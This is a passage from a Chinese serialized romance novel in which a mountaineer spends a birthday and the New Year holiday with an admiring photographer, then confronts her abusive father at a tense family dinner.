华松栩对他幼稚的行为表示无奈,又怕直接说会点燃炸药桶,只得默默把相框扶起来。
这是一张本科毕业照。男孩的眉眼和徐汀云如出一辙,下半张脸的轮廓更加锐利,气质周正阳刚。在他身后,京市大学四个字在阳光下熠熠生辉,原该青云万里的人生,却永远定格在22岁。
这张照片旁边,是徐汀云父母的双人合影。母亲着一身墨绿色旗袍,黑发用一根素簪挽起,笑容温婉知性。父亲双手搭住妻子的肩,微微躬身呈环抱的姿势,气质谦和儒雅。两人之间的氛围是上一辈常见的含蓄,是恩爱两不疑的具象化。
华松栩眉心微蹙,有些唏嘘,也有些伤感。
身后,徐汀云咸咸地说:“你别看我哥长得人模狗样,其实一肚子坏水!蔫坏!”
“怎么说你哥呢?”华松栩回神,在他对面坐定。
午饭依旧是外卖,烤鸭。
徐汀云吹胡子瞪眼,“你信我还是信他?”
“……”
华松栩无语凝噎,放弃作答。转而夹起两片鸭肉蘸取甜面酱,配上黄瓜条一起卷入荷叶饼中,再一口塞进嘴里。随着外皮咔嚓一声,油脂香气瞬间迸发。
她其实不太爱吃鸭肉,因为怕腻,之前来京市对烤鸭也兴致缺缺。不知道这回怎么了,一连卷了五个荷叶饼下肚之后还想吃。
吃起饭来,徐汀云慢慢从红温状态冷却,伸手指放葱丝的小碟,“加点试试,更好吃。”
华松栩不爱吃葱,看都不看一眼,“不用,这样就挺好。”
徐汀云没说话,按照自己的习惯卷了一个,趁华松栩不注意嗖得一下塞到她嘴边。
“啊——”
“……”华松栩紧紧抿唇,有点想打他。
徐汀云笑容单纯无害,“就一口,啊——”
人家是赶鸭子上架,徐汀云这是赶鸭子入口。华松栩没办法,只得啊了一下。别说,还真挺好吃。
徐汀云见状,得意洋洋道:“我就说吧,这葱味道不冲,夹进去好吃。”
华松栩从他手里接过,三两口吃完,“确实不错。”
徐汀云把放葱丝的小碟推到她跟前,含笑道:“喜欢就多吃点。”
吃到七分饱,华松栩这才想起正题,“明天或者后天哪天方便,和贺灵一起吃个饭。”
徐汀云看了眼日历,“后天就腊月二十九了,得准备年货。不然明天吧。”
“好,我和她联系。”
徐汀云捏着手机沉思片刻,忽然可怜巴巴地问:“如果贺编骂我,你会帮我说话吗?”
华松栩知道他说的是临时撤稿的事情,一口答应,“肯定帮你!”
徐汀云饱受摧残的小心脏得到了极大的抚慰。
第二天,当贺灵贴脸输出,从摄影师的职业道德到因临时撤稿翻倍的工作量,条理清晰地列举徐汀云八大罪状时,后者向华松栩投来期许的目光。
华松栩深吸一口气,“和我没关系。”
徐汀云:……
贺灵端起茶水,喝了好几口润喉。一不小心输出太多,有点渴。
徐汀云很有眼色地起身,为贺编续上。
贺灵颔首道谢。
他转而给华松栩倒,后者随意地瞥了眼,继续撑着下巴。
传说中的贺编留着一刀切的黑直发,一身灰色西装套装,任谁看都是职场女强人的类型。但女人的性格总是因对象不同而流动的,方才对徐汀云冷眉冷眼,面对华松栩瞬间柔和了。
贺灵也撑着下巴,笑眯眯地说:“和上次见相比,你白了好多!”
华松栩被一刀扎进心窝,嘴硬道:“我这一个月黑了吧?”
“黑白都好。”贺灵隔着桌子拉她的手,“一年多没见,想死我了!”
华松栩回握,“我也是。”
今天来吃铜锅涮肉,徐汀云调好料碗摆在两人面前都没换来一个眼神。姐妹两人执手相看泪眼,你一句我一句,从自己的近况聊到圈内稀奇古怪的事情,毫无插嘴间隙的小徐终于找到了自己的定位。
华松栩这一顿饭吃得格外开心,一方面是见到好友,一方面是碗里会长出源源不断的食物,荤素搭配好的那种。
她扯了下徐汀云羊毛衫的袖口,“谢谢徐公公。”
徐汀云睨她,唇边是明晃晃的笑容。
出了店门,贺灵挽着华松栩,冲她的小跟班道:“我和阿栩去趟杂志社,你先回吧。”
徐汀云摇头,“我也去,在门口等她。”
贺灵瞪眼,“聊完我护送她回家,放心了吧?”
“我俩说好,下午要去超市筹备年货。”
小跟班最终还是跟到了杂志社。贺灵开了间会议室勒令他在里面待着,拉着华松栩进了自己的办公室。
宽敞的单间,老板椅超大办公桌,两排会客沙发都是真皮的。左手边是一整面落地窗,窗外一众设计感的写字楼依次排开,视野绝佳。
华松栩不由咂舌,“不愧是总编。”
贺总编一关上门就问:“你和他什么情况?”
华松栩毫
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不客气地瘫在沙发上消食,“没有情况。”
“他眼珠子都黏你身上了,还没有情况?”贺灵掰着手指数,“住他家,年夜饭,寸步不离,给你夹菜都那么自然——”
华松栩笑了笑,没吭气。
贺灵目光锐利,“他的小心思,你很清楚。”
“知道一点吧,算不上清楚。”华松栩玩着大衣衣带,“我同意来京市,一大原因是想搞清楚我自己的想法。你说,我这样做是不是不太合适?”
贺灵知道一些她的过去,于是用松快地语气说:“一个愿打一个愿挨,那小子是你的忠实铁粉,他愿意的很。”
“我正月初五回蓉城,到时候再看。”华松栩沉默瞬息,深吸一口气说,“有件事,我想问问你的意见。”
贺灵正色,笑容也淡了下去,“关于公开山难的情况,是吗?”
华松栩垂眸,“是。”
一年前,她按照规定向登协报了事故报告时,强烈表达了不想公开的意愿。知情的圈内人士她一一联络,强硬地要求所有人不得透露1228遇难当事人的身份。是以至今为止,丰哥的账号还有无数粉丝催更问候。
“当时我不知道该怎么说。如实?还是春秋笔法?”华松栩自嘲一笑,“所以硬是拖到现在。但有些事情,早晚要公之于众。”
贺灵皱眉,“按照《旷野》的习惯,事故这样的选题只能是一手消息。也就是说,你必须——”
“实名专访,我知道。”
贺灵一时不知道该说什么,能说什么。户外这个圈子人越来越多,也越来越复杂。拖了整整一年才公开山难始末,华松栩作为唯一的幸存者,势必要面临更为猛烈的舆论风暴。
华松栩看穿了她的担忧,轻笑,“不公开的决定是我做的,就算挨骂也是我该承受的。而且骂我挺好。”
——只要别审判罗丰。
“一月初你问我的时候,我还没想好,拖到了现在。我知道《旷野》排期紧,如果不方便也没关系。主要还是征求你的意见。”
华松栩做出的决定,一向难以更改。贺灵知道,就算她不答应,华松栩也会想别的办法,所以还不如从她手里出,尽量理性客观地还原。
“留位置了。”贺灵大手一挥,“罗普锋的专栏我做了两版。”
华松栩震惊,并发自内心地佩服,“运筹帷幄呀总编!”
“一般,还行。”贺灵傲娇,“不过没想到你愿意接受专访,我得重新赶个提纲。”
“不着急。”
“嗯,提纲最晚后天给你。年后……初三、初四,你再来杂志社。”
华松栩扶额。她的不着急和工作狂的不着急似乎天差地别。
谈完细节已经是四点左右,贺灵后面还有安排,着急忙慌地走了。华松栩终于顾得上正眼看徐汀云,“去超市?”
“不去。”徐汀云说。
华松栩一顿,“不是要买年货吗?”
徐汀云一身工装裤和夹克羽绒服,脚下踩着双板鞋,清爽又朝气蓬勃。
他勾唇,“不买,带你去过生日。”
44. 生日礼物
华松栩被风沙迷了眼,急忙收回视线,将被吹散的发丝别至耳后,又拢了拢大衣领口,抿唇不言。
原来,今天是她的生日。
见状,徐汀云从单肩弓箭包里掏出围巾,自然地套在华松栩颈间,绕了两圈,系了结。
“干净的。”他说。
“谢谢。”嗅到洗衣液清爽的味道,华松栩摸了摸,线织得很密、手感很软,也很暖。
买机票的时候,华松栩填了身份证号,想必是徐汀云看到后留心记下。
她自己都忘了。
徐汀云背好包,扬扬手机,笑意不减,“打过车了。今儿徐哥带你体验童年三件套。”
三件套第一件,大名鼎鼎的东湖溜冰场。
临近年关,加上离关门时间不久,溜冰场上游客三三两两,没有往日人山人海的盛况,多了几分闲适。
徐汀云自己穿冰鞋,又租了个小冰车,摁着一脸嫌弃的华松栩坐好,“出发了啊!”
“不是要自己滑——”
还没说完,徐汀云拉着绳嗖一下就窜了出去,堪比宝马拉车,格外有劲。
华松栩脊背哐叽撞上硬邦邦的金属栏杆,生疼,想让慢点但看他滑得开心,转而说:“注意安全。”
“没事!”徐汀云还顾得上回头看她,“风大,围巾系紧!”
风确实挺大,毕竟小伙子一身使不完的牛劲,拖车滑得比旁边牵手的小情侣都快。
华松栩打了个哆嗦,把徐汀云绑的围巾解开,像狼外婆一样裹在脑袋上,这才暖了不少。她将整个脸埋在徐汀云的气息中,又看了眼他的背影,终于笑了。
这家伙是早有预谋,不然怎么专门戴了围巾。
冰刀滑过冰面格外丝滑,偶尔遇到凹凸不平的地方微微颠簸。华松栩仰头,一朵云恰好映在她的瞳孔之中。
原来,今天是她的生日。
她都快想不起上次过生日是什么时候了。
十七岁?十八岁?
十年,就像这朵云,眨眼间就会被风吹散。
忽然,一股巨大的拉力从左边袭来。
华松栩一惊,急忙坐直,发现徐汀云不知道什么时候向右猛刹停止,冰车随之开始绕圆心的圆周运动。
她失声:“喂!”
徐汀云回身,两手抓住了冰车的扶手,顺势倒滑了几米稳稳卸力,“怕了?”
华松栩被圈进徐汀云和冰车的狭小空间里,眼前是他明晃晃的笑意,眯眼道:“滑挺好啊。”
“这可是我小时候最喜欢的保留节目,只有生日我爸才肯这么跟我玩。”徐汀云小声,“你不喜欢的话就不玩了。”
华松栩默了默,从袖子里伸出一根手指戳戳他的胳膊,“松开。”
“不想松。”徐汀云撇嘴。
方才一通猛如虎的操作已经吸引了不少目光。这会,清俊干净的男孩弯腰搭着冰车,虽然是居高临下但笑意盈盈难掩宠溺。清冷飒爽的女人靠着椅背,虽然是抬头仰视但气定神闲难掩倨傲。简直是姐狗文学的现实版,回头率满分。
华松栩咬牙,“赶紧,人家都在看!”
徐汀云想说看就看,见某人目光幽冷,这才不情不愿地直起身。
华松栩终于能喘口气,见徐汀云脚踩冰刀站得极稳,难得生出了好奇心。她撑着扶手起身,正想说她也去租冰鞋自己滑,人就已经醋溜出去了。
徐汀云眼疾手快去拉,华松栩失去重心本能去抓,好巧不巧两只手稳稳相遇。
借了把力,华松栩凭借优秀的平衡能力立刻站稳,“鞋不行,不抓地。”
习惯登山鞋大V底的摩擦力,忽然换骑士靴,还真没心理准备。
刚说完,她感觉有点不对劲。怎么两人手牵在了一起?
华松栩第一反应是——这都第几次了?
徐汀云第一反应是——这是我们第一次牵手哎!
他本能想要将那只柔若无骨又有些冰凉的手包裹于掌心,但这样太登徒子,可他又舍不得松。他刚就说了,不想松。
华松栩睨着那只拉着自己的大手,勾了勾手指,“我要坐下。”
徐汀云哦了一声,扶着她坐回冰车,才不情不愿的松开,“不玩了?”
“不玩了。”华松栩看他一头薄汗,有点于不忍心,“三件套,下一个。”
“成。”徐汀云拖着冰车往出口滑。
华松栩从没玩过滑冰,真要玩少不了和刚才一样的场景。两只手有了温差,她活动暖和的那只,再回想小徐方才的反应,轻笑了一声。
当徐汀云递过来一根圆润饱满色泽晶莹的糖葫芦,华松栩又笑了。
“好吃,二十多年的老店。”
她接过尝了一个,山楂微酸,和外层糖衣结合得刚刚好,“确实不错。”
徐汀云放下心,开始吃自己的,边吃边护着她穿过人流,“知道你喜欢吃酸,专门挑的。”
华松栩又吃了一个,含糊地问:“你呢?喜欢甜的酸的?”
“酸的。”徐汀云立刻答。
“……诓我呢?”
华松栩不信。这人吃面从来不倒醋,去餐厅吃饭柠檬水都不喝,怎么可能爱吃酸的。
徐汀云大言不惭道:“我决定喜欢酸的,那就喜欢酸的。”
山楂的酸充斥味蕾,华松栩却觉得甜丝丝,“这是你决定就能改的吗?”
“能。科学家都说了,二十一天培养一个习惯。”徐汀云用肩膀碰她的肩膀,“习惯了没?”
华松栩吃掉最后一个,咸咸道:“等我回蓉城二十一天,就习惯了。”
徐汀云:……
华松栩兀自往前走,徐汀云站在原地忿忿吃完两个山楂,快步赶上去抽走她手里的签子。没找见垃圾桶,就捏在手里走了一路。
穿过几条不起眼的胡同,又爬了一个不起眼的楼梯后,视野骤然开阔。
“楼下是一家涮肉,生意特好。”徐汀云说,“顶楼也算闹中取静。”
华松栩扒在灰砖砌的围墙往下看,果然,门口已经大排长龙,热闹的不得了。
面朝西而立,恰好越过光秃秃的树枝,望进日落时分的橘子海。波光粼粼的湖面正中,一道橙红的暗影拖拽,直至没入
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对岸攒动的人群之间。
华松栩目视前方,“你过生日的时候,你爸爸会带你来看日落?”
“嗯。”徐汀云道,“我爹年年拉着年少不知愁滋味的我看日落,说人这一辈子过得很快,一眨眼生日到了一年过了,所以一定珍惜此时此刻。”
他说起父亲时很自然,和年轻人说爸爸喊他回家吃饭一般自然。但华松栩知道,每一句看似无意地提起,都是想让无声的思念被人听到。
于是她说:“难怪你哥哥送你的生日礼物那么……神奇。”
想了半天,只能憋出一个神奇。大象内裤实在是冲击。
徐汀云二次脚趾抠地,又气又无语地哼哼道:“我哥和女朋友去海岛度假,忙不过来让我帮他收衣服装行李。我没注意,把我妈的时髦小裙子裹进去,整出一乌龙事件。他就是报复我!”
徐汀云本来想扔的,但恰逢高考很快就忘了。半年之后意外发生,他再没舍得扔。原本全当留个念想,谁能想到还真让某人报复成功了。
这可比在女朋友面前掏出陌生裙子还尴尬!
华松栩忍俊不禁,呼噜了下徐汀云炸毛的脑袋,“行了,我又不会给别人说,帮你保密。”
徐汀云心说他才不在乎别人怎么想,但还是乖乖点了头。
在天色渐暗的蓝调时分,在生日这一天的昼夜交界,华松栩想起了自己的童年。
“小时候,你有预想过现在的生活吗?”她问。
徐汀云摇头,“完全没有。”
“你呢?”
“没有。”
徐汀云想了想,又问:“那你预想过未来的生活吗?”
华松栩笑了下,“完全没有。”
“我也是。”徐汀云的视线长久落在她安静的侧颜,“但我现在有了。”
是在他失去亲人之后混沌的时光中,唯一清晰的展望。
一枚挂坠落在了华松栩的掌心。
“我之前在云省和一个木雕师傅学过一周,只是技艺不精。不嫌弃吧?”徐汀云小心翼翼。
这是一枚环状木质挂坠,中间镂空部分雕刻的是梅里雪山的主峰卡瓦格博。险峻的山体,岩石积雪的纹路清晰可见。
梅里雪山是不可侵犯的神山,是藏族文化的精神图腾,是对平安顺遂的诚挚祈愿。
“我去了五次梅里,都遇到了日照金山。有一次六点还有雨,本来以为没机会,结果日出前一分钟雨停了,卡瓦格博和缅茨姆从云端现身。当时的藏族大哥就说我和那里有缘,这才有了这枚挂坠。今天送给你,请卡瓦格博之心保佑你安康顺遂。”
华松栩凝视许久,紧紧攥于掌心,嗓音因为翻涌的情绪有些艰涩。
“谢谢,我很喜欢。”
礼物是,为她过生日的方式也是。
徐汀云在身后的攥紧的拳头终于松了,心脏也砰一声落回原地。
远方最后一丝紫色烟消云散,夜色渐浓,空气渐冷。
“想吃什么,寿星?”
“想吃你做的酸汤面。”
华松栩还攥着挂坠,力道分毫不减。
45. 最后一次
华松栩是个挺无趣的人,不喜欢玩手机不追电视剧,日常的娱乐就是看书或者发呆,主打一个静置。但在徐汀云家的日子,她是静不了一星半点。
腊月二十九上午,在徐汀云诚挚邀请下,俩人顶着京市零下十度的寒风,去院子里移植存活的绿植。中午吃完饭,玩德国心脏病。下午徐汀云筹备年货,华松栩坐在旁边充当点歌员。晚上临睡前是强制观看电影《在西伯利亚森林中》,害得她做梦都在躲棕熊。
年三十,徐汀云一早就拉着华松栩贴春联和福字。
华松栩还没睡醒,在哈欠连天中给他剪胶带,“请问你觉怎么这么少?”
徐汀云站在小板凳上摁住横批,“快看正着没?”
华松栩拖着步子后退两步,眯眼看了少顷,“左边低。”
“这样?”徐汀云挪动。
“高了高了,回来点。”
“这样呢?”
“嗯……差不多了。”
徐汀云按下胶带,用手掌抚平,“我一直觉少,睡时间太长头疼。”
华松栩咂舌,“年轻人,精力真好。”
徐汀云从板凳上跳下来,“我倒是奇怪,你在山里每天睡四五个小时精神抖擞,回到城市怎么能睡这么久?”
“山里缺的城市里补,懂?”
“行吧,明早让你睡到自然醒。”
对于年夜饭,徐汀云可谓是异常重视,从上午就开始煲汤备菜。
华松栩反坐在椅子上,手肘抵着椅背,手撑着头,默默看徐汀云忙碌。和在怀远村时似乎没有半点区别。
她试探道:“真不用我帮忙?”
徐汀云连连摇头,“可千万别。”
华松栩撇嘴。这人还嫌弃她残破的烹饪水平。
徐汀云边片鱼片边问:“你一直一个人过年吗?”
“二十岁之后是,之前在家。”华松栩说。
徐汀云听出她提起家时语气不悦,没追问,笑眯眯地说:“那不如以后和我搭伙?”
华松栩失笑,“搭伙?你当过年是过日子呢?”
徐汀云装模作样地想了会,勉为其难道:“过日子也不是不行。”
华松栩眉心微动。
二十岁起,华松栩没想过除登山以外的未来。她在最残酷的自然条件下挑战人类极限,反过来又被其束缚。但是听徐汀云这么讲,她觉得这种生活方式也不赖。
突然,传来一阵手机铃声。
“我的。”华松栩回神,匆匆赶去客厅,看到来电显示时犹豫了好几秒才接起,“张叔。”
张明嗓音浑厚,劈头盖脸地说:“松栩,你爸爸都住院了,你还不回海城?”
华松栩神色淡了下去,嗓音疏冷,“是吗?什么病?”
“心脏病!今天还是除夕,不管你在哪,赶紧回来一趟吧。”
“我没学医,不会给他看病。也没学建筑工程,没法顶替他的位置。回去有用吗?”
“华松栩!”张明呵斥,“那是你爸!”
华松栩平静,“我从没否认过这一点。”
“你爸一个人辛辛苦苦把你拉扯大,还真是个养不熟的白眼狼……不论情分还有血缘,他给你一条命你就得好好孝顺他!你爸说了,今天你不回来他就不治病了,回不回你看着办吧!”
话筒里传来盲音,华松栩攥着手机,指尖因为过于用力微微颤抖,泛着青白。
徐汀云举着两只油手走出厨房,看到她紧绷的身形后立刻问:“怎么了?”
华松栩放下手机,语调无波无澜,“有人打电话和我说,我爸生病住院了,让我立刻回海城。”
徐汀云一惊,赶紧抽了两张厨房用纸,边擦手边安抚,“你别担心——”
“担心?”华松栩笑出了声,满目讥讽。
徐汀云走上前,什么都没问,只是温和又坚定地看着她,等待她主动开口。
这一瞬间,华松栩只觉得不堪。在徐汀云身后,是一张温馨的全家福。即使遭遇横祸,依然改变不了他稳定的内核,那是从原生家庭汲取的力量。而她,像干涸的荒地一样贫瘠。
华松栩收回视线,和徐汀云擦肩而过的瞬间淡声道:“我今天回海城。抱歉,年夜饭得你自己吃了。”
徐汀云想拉住她,可碍于手上的油渍,只得急匆匆冲回厨房洗手。
华松栩迅速收拾好行李箱,干脆利落地穿好衣服,正要开门时被赶来的徐汀云攥住手腕。
她闭了闭眼,“松开。”
“不松。”徐汀云沉声,“我陪你一起。”
华松栩用力挣开,眼底阴云密布,“不需要。”
徐汀云猝不及防,手背碰上玄关柜角,霎时红了一片。但他眉头都没皱一下,放缓语气说:“你这样走我不放心,我送你回去,好不好?”
华松栩厉声,“我的事与你无关!”
徐汀云说:“有关。”
徐汀云越是温柔,华松栩就越是崩溃无措。没有底气的人,才会扯着嗓子怒吼,才会通过口不择言为自己竖起高墙。
“你和我有什么关系?!粉丝偶像的关系?一起吃了几顿饭的关系?那算什么?你不会自作多情以为——”
徐汀云神色不变,温声打断,“喜欢你的关系。”
有些事情彼此心知肚明,但窗户纸未破,就留有余地。装傻也好,暗示也罢。但这么明晃晃的摆出来,便是无可回转。
是以华松栩心跳错了好几拍,哑然,连带那堵脆弱的高墙也分崩离析,僵在原地不知所措。
方才还在炸毛的小狮子此刻双目圆睁神情空白,有种懵懵的可爱,徐汀云看了是又心疼又好笑。他叹了口气,掏出手机戳弄了片刻,“机票买了,四个小时后的航班。”
这次,华松栩一句拒绝的话都说不出口,在茫然中被他拉回客厅,又摁到沙发上。
“给我十五分钟。”
十五分钟内,徐汀云整理好自己的行李,将备好的菜放进冰箱,把煲好的汤端去隔壁,送给四世同堂的老教授,甚至还记得给沉默的华松栩带上围巾。
“走吧。”他伸手。
华松栩没动,也不看他,低声问:“你有冰镐是不是?”
徐汀云眨眼,“有。”
“放进我的行李箱。”
徐汀
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云什么都没问。华松栩对父亲古怪的态度不问,为什么带冰镐不问,对他忽然表白的想法也不问,只是默默陪在身侧,先一步按下电梯按钮、先一步拉开出租车车门又或是侧身替她挡住机场内的人流。
其实徐汀云有点后悔,后悔说得太草率。他不是没想过表白,但至少不是现在。华松栩正准备回归不能分心,何况他一无所有,并不配。
两人一路沉默,直到落地海城又取到托运的行李,华松栩开口道:“冰镐拿出来给我。”
徐汀云蹙眉,眼睁睁看着她将冰镐藏进腰后,在大衣掩盖下看不出半分痕迹,“去医院的话——打车吗?”
华松栩率先推着箱子往出走,轻飘飘道:“不需要。”
徐汀云跟上,正琢磨她的意思,便听到到达口传来一声松栩。他扫过人群,精准定位到一个矮胖的中年男人,正面色不虞盯着这边。
华松栩径直走到男人面前站定,“张叔。”
徐汀云在她身后半步站定,单手抄兜另一手扶着背包肩带,姿态看似松散随意,但每一根毛孔都在释放浓烈的保护欲。
张明显然没想到多了个人,眉毛拧得死紧,“这是?”
“说正题,或者我现在就走。”
“……这边。”
男人狠狠瞪了徐汀云一眼,这才带路往停车场走去。
徐汀云不动声色,接过华松栩手里的行李箱,和她保持相同的速度。
从旁看去,华松栩和平时似乎一般无二,冷着脸,抿着唇,有股天然的生人勿进感。但徐汀云能感觉到她在紧张。
到这时候,再认为她是为父亲生病而紧张,那就是太天真了。只是徐汀云做了很多设想,依然没想到父女见面竟然是这般横眉冷对的景象。
华松栩驻足,面露讽刺,“心脏病?住院?”
华炜靠在车旁,西装笔挺,还披着件做工精良价值不菲的大衣,一开口却是——
“要跪下求你才知道回来吗?!”
华松栩骤然爆发出一句嘶吼:“你现在跪啊!!!”
华炜一拳狠狠砸向车门,除夕夜空荡的停车场爆发巨响。
华松栩立刻将手从大衣内背向身后。
徐汀云陡然意识到了什么。
她握着冰镐。
她在发抖。
原不打算插手的徐汀云脸色变了,迅速将华松栩护在身后,阴沉的眼中泛起血丝。
他一字一顿地说:“有话好好说,没事的话我带她走了。”
华炜那双三角眼里是恶狠狠的目光,看徐汀云是,看华松栩时更是。他不像是在看久未谋面的女儿,反倒像是在看仇人。
徐汀云连大点声说话都舍不得的人,被她的亲生父亲这样对待。这样的反差下,一股邪火直冲他的天灵盖。他想做出一些出格的事情,想——
一只冰凉的、微颤的手拂过他的拳,又落在了他的掌心。他立刻用力握紧。
源源不断的热量传来,华松栩越过徐汀云宽阔可靠的身影,看向自己前20年人生中的梦魇。
她深吸一口气,“想说什么麻烦今天都说完。这是最后一次。”
46. 窥探真心
华松栩始终都没放开徐汀云的手。
清一色仿古建筑的私房餐厅,每一间包厢都是欢声笑语。年夜饭,团圆饭,自然是开开心心的。
新中式实木圆桌正中央有一香炉,传来阵阵沁人心脾的梅花香。包厢右侧的门开了半扇,向外看去,灯笼晃动的暖光映照在粼粼波光的锦鲤池,风起,水波声阵阵。
“吃饭。”主座上,华炜粗声道。
张明也招呼,“动筷子吧。”
华松栩拉着徐汀云的手,未动。徐汀云以相同的力道回握,也未动。
桌上的菜品各个精美至极。梅花山药糕,由豌豆粒精心装饰的石屏豆腐,鲜桃菌汤,名为早春的油豆皮卷金针菇胡萝卜丝……雅得不得了,雅得令她有些反胃。
华炜见她不动,“不吃?”
“不吃。”华松栩说。
“不吃来干什么?”华炜一拍桌子,貔貅筷托短暂的离开桌面,复又落回。
这一声脆响,让华松栩失去了最后一点点耐心。
“还是那句话,有什么就快说,说完我就走——”
“你想得美!!!”华炜怒道,“你马上都三十岁了,我给了你十年的时间,还不够吗?!和乱七八糟的人混在一起,你不要脸我还要脸!”
华炜边说边看徐汀云,见他双目淬冰一脸狠劲的模样怒意更盛。
“怎么,想像大学的时候一样扣住我的身份证,天天找人跟着我?还是像初中一样把我锁在房子里一个暑假不允许出门?”华松栩冷声,“你做梦!!!”
“松栩!”张明厉声打断,“你爸爸也是为了你好,要不是这样你怎么考上的海城大学?”
“我考上海城大学?”华松栩笑了好一阵,笑得眼角湿润,“偷偷改我的志愿,也是为了我好?!”
“怎么不是?”华炜呼哧呼哧喘气,“报什么京大、南大,就想离开海城。我培养你十八年,多少人眼红的生意你还不愿接了。我告诉你,老子干什么,女儿就得继承!”
“你想都不要想!”
“你别给脸不要脸!”华炜猛地起身,椅子被剧烈的动作带倒,落在地毯上发出闷响,“m的翅膀硬了还敢跟老子叫板了,我真是艹了——”
“我说,闭、嘴!”每个字都是从徐汀云从牙缝中挤出来,“再对她说一句脏话,管你七老八十还是我今天被拘留,都得让你一个字、一个字咽回去!”
“毛都没长齐的小子,就会放狠话是不是?”
徐汀云缓缓站起来,毫无惧色,“你可以试试。”
华炜嗤笑,“上次走的时候是个男的,这次回来换了个男的,中间还不知道和谁鬼混呢——”
十一岁,刚经历初潮的华松栩起夜,撞上醉醺醺回家的华炜,因为恐惧背在身后的卫生巾落地。
华炜捡起辨认了半晌,认清后反手就扔到华松栩脸上,“骚/货,滚开!”
十五岁,华松栩穿了一件紧身短袖,勾勒出经过发育姣好的身材。华炜正在打工作电话,看到她的打扮后电话未挂就是一巴掌,“谁tm让你这么穿的?骚不骚?”
十九岁,华松栩晚餐时收到同学的表白短信,被华炜抢过阴阳怪气地朗读,朗读完砸了手机,又骂了一句——
“骚/货——”
徐汀云忍了一整晚,终是忍无可忍,抬手就要掀桌,身旁的人却更快一步。
在耳边一句句闪回的谩骂侮辱中,华松栩抽出冰镐,高高抡起,砸了下去。
锋利的镐尖伴随极大的压强撞上精美的木桌,一时玻璃四溅。
一股暴戾于血液中沸腾游走。被摁在地下拳打脚踢的瞬间,被痛骂羞辱的瞬间,尊严被践踏被撕碎被碾成粉末无可复原的瞬间……一点一滴汇聚成奔腾的河流,冲塌了过去八年筑起的堤坝,被圈禁被藏匿已久的痛苦、愤怒、崩溃、恨意、绝望倾泻而出,彻底抹杀了残存的理智。
她想毁掉周遭的一切,想让这颠倒的世界寸草不生,想要死在熊熊燃烧的怒火之中。
她在替那个用力咬唇咬得鲜血淋漓依旧不敢出声的小女孩大声呼救。
那暗无天日的时光中,没有人听到,没有人在乎。身上的伤可以归结为孩子叛逆需要教育,做到这一点只需施暴者展示一点点无可奈何和懊悔,流露一点点虚伪的父爱。
在一次次失望后,她终于学会闭口不言。只有沉默地接受,才能换来偶尔一次良心发现,才能少挨一个巴掌。
此刻,她在呼救。
当冰镐砸碎包间内一切可以砸碎的东西后,冲向对面已经彻底惊呆的男人时,徐汀云抱住了华松栩,也禁锢住握着冰镐的那只手腕。
他的嗓音轻柔,眼神却无比阴沉,“没事,没事。有我在,没人能欺负你……”
当跨越时空的呼救得到回应,神情木然的女人终于眨了眨眼,泪水像断了线的珠子簌簌而下。
当啷一声,冰镐坠地。
华松栩抖得厉害,还坚持从口袋里掏出一张银行卡丢进眼前的狼藉之中,“这是我的副卡,定期会往里放钱,还你的养育之恩,顺便替你养老送终。等你死了再让人知会我一声。”
该说的说尽了,华松栩求助般地摸索着,想要去拉那只温热有力的手,却怎么都寻不到。
那只手牵住了她。
徐汀云护着她往外走,没想到老匹夫回过神竟敢冲上来。
他凌空逮住那人的胳膊,挥手就是一拳。盛怒之下,他用了十成十的力道,华炜躲闪不及趴在墙上粗喘。张明来拦,他推开又是一拳。
徐汀云是个平和的人,心态平和,为人平和。这是这辈子第一次生出想弄死一个人的冲动。
颈侧的青筋暴起,眼里有股不死不休的疯劲。
华松栩对发生的一切都很麻木,只是机械地转动瞳孔,直到那狠戾的侧影映入眼中。
“徐汀云……”她说。
“徐汀云,我想离开这里……”她又说。
徐汀云带着华松栩走了。将几乎成废墟的包厢、鼻青脸肿吐血的男人和剧烈爆发的情绪一并甩在身后。
上了出租车,华松栩报了地址后就安安静静地坐着。
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徐汀云坐在旁边,和她交叠的那只手自然微张,另一只手攥得死紧,呼吸格外粗重。
司机师傅除夕夜跑车挺孤单,便打开收音机收听晚会。悠扬的歌声,送给相声小品的笑声掌声,为空无一人的街道增添暖色。
华松栩听到吃饺子三个字时,眼神微动,哑声道:“你饿不饿?我那里没有饭吃……”
“你饿不饿?”徐汀反问。
“有点。”
这个时间超市关门,夜宵店也处于春节休假中,不打烊的餐厅也不提供外送服务。徐汀云思忖,而后轻笑,“那家里有泡面吗?”
华松栩想了想,“好像有。”
还真有。
空空如也的橱柜里,只有三桶垒起的泡面。徐汀云看了眼保质期,明天到期。
久不住人,饮水机需要清洗。所以他用暖壶烧了热水,泡了面,盖上盖子,端去茶几。
华松栩窝在沙发和茶几的狭小缝隙里,“今年你又要吃泡面了,怪我。”
“往年一个人吃泡面是孤单,今年和你一起吃泡面是幸福。”徐汀云大剌剌坐在对面,抬手敲敲面桶,“今天是保质期的最后一天,也算是命运安排咯。”
华松栩挤出一个笑容,但笑意随缝隙里散出的水汽一样很快消散。
手机又响了。
徐汀云一眼看到来电显示,也察觉到华松栩刚刚平静下来的情绪再次波动,她似乎又有点发抖。他立刻按下关机键,警惕道:“那人找不到这吧?”
华松栩摇头,“他不知道。”
“嗯。”徐汀云替她撕开盖子又掰开叉子,“可以吃了。”
华松栩接过,没来由地问:“你可怜我吗?”
“什么?”徐汀云一怔。
“小时候,我每天每天带着伤上学,每个同学都可怜我,但又孤立我。”
“老师和家长正常反馈学习中的问题,结果他给老师打电话直播揍我。老师也可怜我,自此之后再也不敢和他多说半句,也不敢和我多说半句。”
华松栩轻点自己的鼻梁,“每个人看我的时候,都是有防备又怜悯,又好奇又排斥。”
她缓缓放下手,疑惑不解,“为什么你看我的眼神,没有一点变化呢?”
徐汀云的心脏被一直看不见的手攥紧,肺部随之扁了下去,无论怎么深呼吸都无法汲取氧气。他是一只溺水的鱼,沉入名为疼惜的深海里。
“因为,我只看到了华松栩。”他温声道,“无论过往,无论将来,我只看到了你。”
华松栩茫然地睁大眼睛,视线不受控制地被泪水遮蔽,男人的身影模糊不清又光怪陆离,但他看向自己的眼神依然清晰。
他的喜欢,他的真心,都在那温和包容又坚定不移的眼神里。
徐汀云叹了口气,倾身,耐心地用指节拂去不断滑落的泪珠。
每一瞬相触,每一秒停留,终于击破了废墟中摇摇欲坠的最后一道心防。
华松栩如梦初醒,终于后知后觉地意识到,对徐汀云她是喜欢的。
很喜欢的。
47. 想抓住他
华松栩似乎在把这辈子积攒的眼泪通通流净。
是以徐汀云用手擦不及,眼看滴滴答答都进了泡面桶,赶紧抽过纸巾,温声哄着,“本来这个牌子就偏咸,再哭就更咸了。”
